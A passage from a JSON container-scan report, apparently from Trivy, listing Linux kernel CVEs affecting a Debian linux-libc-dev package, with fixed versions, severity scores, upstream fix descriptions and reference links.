"https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72251" ], "PublishedDate": "2026-08-15T06:21:52.393Z", "LastModifiedDate": "2026-10-16T19:17:17.06Z" }, { "VulnerabilityID": "CVE-2026-72255", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72255", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dc7dfcdcf5465e27a6a9cab65738cc7891329f4605eca9f33a418cf3c9f9a22b", "Title": "kernel: netfilter: nf_queue: pin bridge device while NFQUEUE holds fake dst", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_queue: pin bridge device while NFQUEUE holds fake dst\n\nThe br_netfilter fake rtable is embedded in struct net_bridge and is\nattached to bridged packets with skb_dst_set_noref(). If such a packet is\nqueued to NFQUEUE, __nf_queue() upgrades that fake dst with\nskb_dst_force().\n\nAt that point the queued skb can hold a real dst reference after bridge\nteardown has started. The problem is not that every bridged packet needs\nits own dst reference. The problem is that NFQUEUE can keep the bridge\nprivate fake dst alive after unregister begins.\n\nFix this by keeping the bridge fake dst model unchanged and pinning the\nbridge master device only while the packet sits in NFQUEUE. Record the\nbridge device in nf_queue_entry when the queued skb carries a bridge fake\ndst, take a device reference for the queue lifetime, and drop it when the\nqueue entry is freed.\n\nAlso make sure queued entries are reaped when that bridge device goes\ndown, and drop the redundant nf_bridge_info_exists() test from the fake\ndst detection.\n\nThis keeps netdev_priv(br-\u003edev) alive until verdict completion, so the\nembedded fake rtable and its metrics backing storage cannot be freed out\nfrom under dst_release(). It also avoids the constant refcount bump and\navoids using ipv4-specific dst helpers for IPv6 bridge traffic.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-72255", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/c9c9b37f8c5505224e8d206184df3bb668ee00cf%20%287.2-rc1%29", "https://git.kernel.org/stable/c/01ace27af47801dd7f6b839e782b62863af979cc", "https://git.kernel.org/stable/c/0ca505346c5e2905ab7b5313af801fcf38f594a8", "https://git.kernel.org/stable/c/3f03a2d225c668283110ad5f9ff159ba4591e2c7", "https://git.kernel.org/stable/c/430521af7fe8a9c08f5a2554224a35f11f51d99e", "https://git.kernel.org/stable/c/47b3af24de5fbed4bf2952de0f5294ef1a338a26", "https://git.kernel.org/stable/c/4e56d3d60d3192ef0a0c08e8b433636690189384", "https://git.kernel.org/stable/c/8dc51351472825500145eed5bddfb88b2ec32008", "https://git.kernel.org/stable/c/c9c9b37f8c5505224e8d206184df3bb668ee00cf", "https://linux.oracle.com/cve/CVE-2026-72255.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026081554-CVE-2026-72255-56ae@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72255", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72255" ], "PublishedDate": "2026-08-15T06:21:53.127Z", "LastModifiedDate": "2026-10-16T19:17:17.753Z" }, { "VulnerabilityID": "CVE-2026-72298", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72298", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bcbd5c68aa5f756260882b32e08f792bdb89e8a5b0be54e14776395a9eb6065a", "Title": "kernel: net: qrtr: fix 32-bit integer overflow in qrtr_endpoint_post()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: qrtr: fix 32-bit integer overflow in qrtr_endpoint_post()\n\nqrtr_endpoint_post() validates an incoming packet with\n\n\tif (!size || len != ALIGN(size, 4) + hdrlen)\n\t\tgoto err;\n\nwhere size comes from the wire. On 32-bit, size_t is 32 bits and\nALIGN(size, 4) wraps to 0 for size \u003e= 0xfffffffd, so the check\npasses and skb_put_data(skb, data + hdrlen, size) writes past the\nhdrlen-sized skb and oopses the kernel. 64-bit is unaffected.\n\nThis is the 32-bit residual of ad9d24c9429e2 (\"net: qrtr: fix OOB\nRead in qrtr_endpoint_post\"), which fixed only the 64-bit case.\n\nReject any size that cannot fit the buffer before the ALIGN.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:68570", "https://access.redhat.com/security/cve/CVE-2026-72298", "https://bugzilla.redhat.com/2439924", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2482098", "https://bugzilla.redhat.com/2482127", "https://bugzilla.redhat.com/2482550", "https://bugzilla.redhat.com/2482618", "https://bugzilla.redhat.com/2492436", "https://bugzilla.redhat.com/2492741", "https://bugzilla.redhat.com/2492742", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2492792", "https://bugzilla.redhat.com/2502295", "https://bugzilla.redhat.com/2502347", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502438", "https://bugzilla.redhat.com/2502575", "https://bugzilla.redhat.com/2502580", "https://bugzilla.redhat.com/2502596", "https://bugzilla.redhat.com/2511448", "https://bugzilla.redhat.com/2513165", "https://bugzilla.redhat.com/2513171", "https://bugzilla.redhat.com/2513271", "https://bugzilla.redhat.com/2513286", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2516490", "https://bugzilla.redhat.com/2516599", "https://bugzilla.redhat.com/2516679", "https://bugzilla.redhat.com/2516684", "https://bugzilla.redhat.com/show_bug.cgi?id=2439924", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2482098", "https://bugzilla.redhat.com/show_bug.cgi?id=2482127", "https://bugzilla.redhat.com/show_bug.cgi?id=2482550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482618", "https://bugzilla.redhat.com/show_bug.cgi?id=2492436", "https://bugzilla.redhat.com/show_bug.cgi?id=2492741", "https://bugzilla.redhat.com/show_bug.cgi?id=2492742", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2492792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502295", "https://bugzilla.redhat.com/show_bug.cgi?id=2502347", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502438", "https://bugzilla.redhat.com/show_bug.cgi?id=2502575", "https://bugzilla.redhat.com/show_bug.cgi?id=2502580", "https://bugzilla.redhat.com/show_bug.cgi?id=2502596", "https://bugzilla.redhat.com/show_bug.cgi?id=2511448", "https://bugzilla.redhat.com/show_bug.cgi?id=2513165", "https://bugzilla.redhat.com/show_bug.cgi?id=2513171", "https://bugzilla.redhat.com/show_bug.cgi?id=2513271", "https://bugzilla.redhat.com/show_bug.cgi?id=2513286", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2516490", "https://bugzilla.redhat.com/show_bug.cgi?id=2516599", "https://bugzilla.redhat.com/show_bug.cgi?id=2516679", "https://bugzilla.redhat.com/show_bug.cgi?id=2516684", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23172", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46043", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53192", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63869", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63913", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64029", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64175", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68200", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68363", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72243", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72298", "https://errata.almalinux.org/9/ALSA-2026-68570.html", "https://errata.rockylinux.org/RLSA-2026:68570", "https://git.kernel.org/linus/20054869770c7df060c5ecee3e8bbf9029c47191%20%287.2-rc1%29", "https://git.kernel.org/stable/c/20054869770c7df060c5ecee3e8bbf9029c47191", "https://git.kernel.org/stable/c/22100a8f73d4ae4f17697dae93d4e2e1d283a6ec", "https://git.kernel.org/stable/c/242408b5b763c01288adf3113cbce84378a76e1a", "https://git.kernel.org/stable/c/3665e644ea081c4624a1637023b0de3b29f4ae04", "https://git.kernel.org/stable/c/689b7267f8632b4661879dc323e26ebb60978afb", "https://git.kernel.org/stable/c/7f72c285f6d3bf63968a0344beee8ab1b370198b", "https://git.kernel.org/stable/c/b609f7f46916c6b05585ca82455077198a23770f", "https://git.kernel.org/stable/c/d0597074e99731fdad5593e4f6d056a3866f2cab", "https://linux.oracle.com/cve/CVE-2026-72298.html", "https://linux.oracle.com/errata/ELSA-2026-68570.html", "https://lore.kernel.org/linux-cve-announce/2026081502-CVE-2026-72298-9cab@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72298", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72298" ], "PublishedDate": "2026-08-15T06:22:02.437Z", "LastModifiedDate": "2026-10-16T19:17:19.843Z" }, { "VulnerabilityID": "CVE-2026-72318", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72318", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1e8273136b0c61528ce63583368436cac6616a7b32fc9d3928cfad6c2b66008f", "Title": "kernel: cifs: validate DFS referral string offsets", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncifs: validate DFS referral string offsets\n\nparse_dfs_referrals() validates that the response header and referral\narray fit in the received buffer, but each referral also contains string\noffsets supplied by the server.\n\nThose offsets are used to compute the DfsPath and NetworkAddress string\npointers without checking whether they still point inside the response\nbuffer. A malformed referral can therefore make the computed pointer\nexceed the end of the buffer. The resulting negative max_len is then\npassed to cifs_strndup_from_utf16(), and the non-Unicode path forwards it\nto kstrndup() as a size_t, allowing strnlen() to read out of bounds.\n\nValidate each string offset before deriving the string pointer.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81552", "https://access.redhat.com/security/cve/CVE-2026-72318", "https://bugzilla.redhat.com/2486468", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513148", "https://bugzilla.redhat.com/2513287", "https://bugzilla.redhat.com/2513430", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2528788", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/2535309", "https://bugzilla.redhat.com/2535338", "https://bugzilla.redhat.com/show_bug.cgi?id=2486468", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513148", "https://bugzilla.redhat.com/show_bug.cgi?id=2513287", "https://bugzilla.redhat.com/show_bug.cgi?id=2513430", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2528788", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2535309", "https://bugzilla.redhat.com/show_bug.cgi?id=2535338", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46309", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68245", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68278", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/9/ALSA-2026-81552.html", "https://errata.rockylinux.org/RLSA-2026:81552", "https://git.kernel.org/linus/027a84ac6b50c12ef767c15abfc58aa865820e9e%20%287.2-rc3%29", "https://git.kernel.org/stable/c/027a84ac6b50c12ef767c15abfc58aa865820e9e", "https://git.kernel.org/stable/c/76c607b9353d377b1d1b11db50e743eee0ccf658", "https://git.kernel.org/stable/c/929a85932d14190988f1eafd6ee8cc68d66ace0b", "https://git.kernel.org/stable/c/b784cd1c24d89bf71be2efe1e948ff7c03371e57", "https://git.kernel.org/stable/c/c37abc99bb3de3d3219ecef253d649f74117fd83", "https://git.kernel.org/stable/c/d64b6be5740ce230aca184d8d224c75d9866045d", "https://linux.oracle.com/cve/CVE-2026-72318.html", "https://linux.oracle.com/errata/ELSA-2026-82807.html", "https://lore.kernel.org/linux-cve-announce/2026081506-CVE-2026-72318-c46b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72318", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72318" ], "PublishedDate": "2026-08-15T06:22:04.737Z", "LastModifiedDate": "2026-10-16T19:17:22.343Z" }, { "VulnerabilityID": "CVE-2026-72319", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72319", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7ea67e0138df5c22a37cc4f9c3bfd755893a545d52aca6b0df74ba2bebf15aed", "Title": "kernel: ipvs: ensure inner headers in ICMP errors are in headroom", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvs: ensure inner headers in ICMP errors are in headroom\n\nSashiko points out that after stripping the outer headers\nwith pskb_pull() we should ensure the inner IP headers\nin ICMP errors from tunnels are present in the skb headroom\nfor functions like ipv4_update_pmtu(), icmp_send() and\nIP_VS_DBG().\n\nAlso, add more checks for the length of the inner headers.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-72319", "https://git.kernel.org/linus/3f7a535ff0fa627a0132803e4c2f903ceffcbc1c%20%287.2-rc3%29", "https://git.kernel.org/stable/c/19657b3a17b774ae4e2f2635b5ae8638c9344a40", "https://git.kernel.org/stable/c/3f7a535ff0fa627a0132803e4c2f903ceffcbc1c", "https://git.kernel.org/stable/c/8f48cfe657409fb5c7ba0521b14da6d47546d9cf", "https://git.kernel.org/stable/c/92185d6f7819bc558939ae83de7b1abe90e3b5c2", "https://git.kernel.org/stable/c/9bc9b95aee2b2e3f1301a16a67ee504960402875", "https://git.kernel.org/stable/c/a735f9964a3d9ed97daf9b08507f8b5bcafe6326", "https://git.kernel.org/stable/c/dac813101914c21219ac221a60a31a11bc90e7ec", "https://git.kernel.org/stable/c/dd22f74a09e25ca298ced0a3763ef353242cb78d", "https://linux.oracle.com/cve/CVE-2026-72319.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026081506-CVE-2026-72319-792e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72319", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72319" ], "PublishedDate": "2026-08-15T06:22:04.857Z", "LastModifiedDate": "2026-10-16T19:17:22.527Z" }, { "VulnerabilityID": "CVE-2026-72323", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72323", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b0095198aa56294451cdf3f1ce329c770b8be55d1304e85f697c64f8356f6dbc", "Title": "kernel: ipv4: igmp: Fix potential UAF in igmp_gq_start_timer()", "Description": "In the Linux kernel, the following vulnerability has 